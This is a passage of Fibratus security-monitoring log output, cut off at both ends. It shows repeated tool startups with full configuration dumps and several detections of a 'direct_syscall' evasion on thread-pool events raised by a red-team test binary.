passive=>false] http=>[ enabled=>false method=>POST enable-gzip=>false endpoints=>[] serializer=>json timeout=>5s tls-insecure-skip-verify=>false]] + pe ............................. [ enabled=>false read-sections=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ fastscan=>true enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false excluded-files=>[] skip-mmaps=>false skip-allocs=>false skip-files=>false scan-timeout=>10s excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-24T16:58:27+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:58:29+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:58:32+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1100637 + Pid: 11140 + Tid: 7520 + Type: SubmitThreadpoolWork + CPU: 0 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 16:58:32.1709387 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 1e5be561a80, subprocess_tag➜ 0, task_id➜ 1e5be573aa8 + Metadata: evasions: [direct_syscall] + + Pid: 11140 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:00:28+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:00:28+01:00 level=info msg=bootstrapping with pid 2096. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:00:28+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ content-type=>text/html to=>[] use-template=>true enabled=>false port=>25] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true enable-mem=>false enable-fileio=>true enable-net=>true enable-registry=>true enable-vamap=>true max-buffers=>36 buffer-size=>512 enable-dns=>false enable-handle=>false stack-enrichment=>true enable-thread=>true enable-audit-api=>true flush-interval=>1s enable-threadpool=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-age=>0 max-backups=>15 formatter=>text log-stdout=>true max-size=>100] + output ......................... [ elasticsearch=>[ enabled=>false gzip-compression=>false timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck=>true sniff=>false healthcheck-timeout=>5s bulk-workers=>1 flush-period=>1s index-name=>fibratus healthcheck-interval=>10s template-name=>fibratus trace-log=>false] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] http=>[ serializer=>json tls-insecure-skip-verify=>false endpoints=>[] enable-gzip=>false enabled=>false timeout=>5s method=>POST] amqp=>[ passive=>false exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s enabled=>false url=>amqp://localhost:5672 routing-key=>fibratus durable=>false delivery-mode=>transient exchange=>fibratus vhost=>/]] + pe ............................. [ read-sections=>false read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-files=>false excluded-procs=>[] enabled=>false skip-allocs=>false excluded-files=>[] fastscan=>true skip-mmaps=>false skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:00:28+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:00:31+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:00:44+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1129932 + Pid: 19420 + Tid: 18756 + Type: SubmitThreadpoolWork + CPU: 3 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:00:44.2498055 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 2a7d8a31a80, subprocess_tag➜ 0, task_id➜ 2a7d8a43aa8 + Metadata: evasions: [direct_syscall] + + Pid: 19420 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:00:59+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:00:59+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:01:00+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:05:07+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:05:07+01:00 level=info msg=bootstrapping with pid 21408. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:05:07+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html use-template=>true enabled=>false port=>25 to=>[]] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-images=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>true max-buffers=>36 enable-audit-api=>true buffer-size=>512 enable-net=>true min-buffers=>16 enable-dns=>false enable-thread=>true enable-registry=>true flush-interval=>1s enable-image=>true stack-enrichment=>true enable-handle=>false enable-vamap=>true enable-fileio=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 level=>info formatter=>text max-age=>0 max-backups=>15 log-stdout=>true] + output ......................... [ elasticsearch=>[ bulk-workers=>1 gzip-compression=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus timeout=>5s sniff=>false index-name=>fibratus trace-log=>false healthcheck-timeout=>5s healthcheck=>true healthcheck-interval=>10s flush-period=>1s enabled=>false] http=>[ timeout=>5s endpoints=>[] method=>POST enable-gzip=>false enabled=>false serializer=>json tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false] amqp=>[ enabled=>false timeout=>5s tls-insecure-skip-verify=>false delivery-mode=>transient exchange-type=>topic url=>amqp://localhost:5672 vhost=>/ passive=>false durable=>false exchange=>fibratus routing-key=>fibratus] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true]] + pe ............................. [ read-sections=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false excluded-files=>[] skip-registry=>false scan-timeout=>10s skip-files=>false excluded-procs=>[] fastscan=>true skip-allocs=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:05:07+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:05:10+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:05:13+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1151713 + Pid: 21868 + Tid: 10048 + Type: SubmitThreadpoolWork + CPU: 3 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:05:13.0739042 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 257c65e1a80, subprocess_tag➜ 0, task_id➜ 257c65f3aa8 + Metadata: evasions: [direct_syscall] + + Pid: 21868 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:05:36+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:05:36+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:05:36+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:09:36+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:09:36+01:00 level=info msg=bootstrapping with pid 4816. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:09:36+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ enabled=>false content-type=>text/html port=>25 use-template=>true to=>[]] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-audit-api=>true stack-enrichment=>true enable-thread=>true max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-dns=>false enable-vamap=>true enable-mem=>false enable-handle=>false enable-registry=>true flush-interval=>1s enable-fileio=>true enable-image=>true buffer-size=>512 enable-threadpool=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 log-stdout=>true max-age=>0 level=>info formatter=>text max-backups=>15] + output ......................... [ eventlog=>[ level=>info enabled=>false] elasticsearch=>[ healthcheck=>true sniff=>false timeout=>5s index-name=>fibratus template-name=>fibratus trace-log=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s flush-period=>1s healthcheck-interval=>10s bulk-workers=>1 gzip-compression=>false enabled=>false] http=>[ tls-insecure-skip-verify=>false method=>POST serializer=>json timeout=>5s endpoints=>[] enabled=>false enable-gzip=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true] amqp=>[ vhost=>/ exchange=>fibratus url=>amqp://localhost:5672 durable=>false passive=>false exchange-type=>topic tls-insecure-skip-verify=>false delivery-mode=>transient enabled=>false routing-key=>fibratus timeout=>5s]] + pe ............................. [ enabled=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false excluded-files=>[] skip-files=>false excluded-procs=>[] skip-mmaps=>false fastscan=>true enabled=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:09:36+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:09:39+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:10:48+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:10:48+01:00 level=info msg=bootstrapping with pid 21468. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:10:48+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ use-template=>true content-type=>text/html port=>25 enabled=>false to=>[]]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false] + eventsource .................... [ flush-interval=>1s max-buffers=>36 enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true enable-registry=>true enable-net=>true enable-mem=>false enable-vamap=>true enable-dns=>false enable-threadpool=>true enable-fileio=>true min-buffers=>16 enable-handle=>false enable-thread=>true stack-enrichment=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 log-stdout=>true max-backups=>15 formatter=>text max-size=>100 level=>info] + output ......................... [ elasticsearch=>[ enabled=>false healthcheck-interval=>10s healthcheck=>true gzip-compression=>false flush-period=>1s servers=>[http://127.0.0.1:9200] sniff=>false template-name=>fibratus healthcheck-timeout=>5s timeout=>5s trace-log=>false bulk-workers=>1 index-name=>fibratus] http=>[ tls-insecure-skip-verify=>false method=>POST enable-gzip=>false enabled=>false endpoints=>[] serializer=>json timeout=>5s] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true] amqp=>[ enabled=>false delivery-mode=>transient routing-key=>fibratus durable=>false passive=>false timeout=>5s exchange=>fibratus exchange-type=>topic vhost=>/ url=>amqp://localhost:5672 tls-insecure-skip-verify=>false]] + pe ............................. [ read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ fastscan=>true excluded-procs=>[] skip-allocs=>false scan-timeout=>10s skip-registry=>false enabled=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:10:49+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:10:52+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:10:57+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1223878 + Pid: 14100 + Tid: 14864 + Type: SubmitThreadpoolWork + CPU: 1 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:10:57.0669099 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 206e5281a80, subprocess_tag➜ 0, task_id➜ 206e5293aa8 + Metadata: evasions: [direct_syscall] + + Pid: 14100 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:11:09+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:11:10+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:11:10+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:11:42+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:11:42+01:00 level=info msg=bootstrapping with pid 17136. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:11:42+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true content-type=>text/html to=>[] port=>25] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-registry=>true enable-audit-api=>true enable-mem=>false enable-image=>true enable-thread=>true enable-handle=>false buffer-size=>512 stack-enrichment=>true enable-threadpool=>true enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-fileio=>true max-buffers=>36 flush-interval=>1s enable-vamap=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text level=>info max-backups=>15 max-size=>100 log-stdout=>true max-age=>0] + output ......................... [ amqp=>[ vhost=>/ delivery-mode=>transient routing-key=>fibratus durable=>false tls-insecure-skip-verify=>false timeout=>5s exchange-type=>topic passive=>false exchange=>fibratus url=>amqp://localhost:5672 enabled=>false] http=>[ endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s method=>POST serializer=>json enable-gzip=>false enabled=>false] elasticsearch=>[ bulk-workers=>1 healthcheck-interval=>10s flush-period=>1s template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck=>true timeout=>5s index-name=>fibratus gzip-compression=>false healthcheck-timeout=>5s trace-log=>false sniff=>false enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true skip-mmaps=>false scan-timeout=>10s excluded-procs=>[] enabled=>false skip-files=>false excluded-files=>[] skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:11:42+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:11:45+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:11:48+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1260069 + Pid: 16784 + Tid: 8876 + Type: SubmitThreadpoolWork + CPU: 6 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:11:48.5726971 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 262f6b41a80, subprocess_tag➜ 0, task_id➜ 262f6b53aa8 + Metadata: evasions: [direct_syscall] + + Pid: 16784 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:11:58+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:11:58+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:11:59+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:13:25+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:13:25+01:00 level=info msg=bootstrapping with pid 19072. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:13:25+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true] mail=>[ to=>[] content-type=>text/html enabled=>false port=>25 use-template=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ stack-enrichment=>true enable-thread=>true max-buffers=>36 flush-interval=>1s buffer-size=>512 enable-threadpool=>true min-buffers=>16 enable-handle=>false enable-net=>true enable-registry=>true enable-dns=>false enable-image=>true enable-fileio=>true enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text max-size=>100 max-age=>0 log-stdout=>true level=>info] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty] http=>[ enable-gzip=>false serializer=>json tls-insecure-skip-verify=>false enabled=>false method=>POST timeout=>5s endpoints=>[]] amqp=>[ exchange-type=>topic timeout=>5s url=>amqp://localhost:5672 tls-insecure-skip-verify=>false durable=>false routing-key=>fibratus passive=>false vhost=>/ exchange=>fibratus delivery-mode=>transient enabled=>false] elasticsearch=>[ healthcheck-interval=>10s sniff=>false flush-period=>1s healthcheck-timeout=>5s template-name=>fibratus index-name=>fibratus bulk-workers=>1 timeout=>5s servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck=>true trace-log=>false enabled=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false excluded-procs=>[] skip-files=>false fastscan=>true enabled=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-allocs=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:13:26+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:13:28+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:13:31+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1277544 + Pid: 21084 + Tid: 16916 + Type: SubmitThreadpoolWork + CPU: 3 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:13:30.8435227 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 22676811a80, subprocess_tag➜ 0, task_id➜ 22676823aa8 + Metadata: evasions: [direct_syscall] + + Pid: 21084 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c 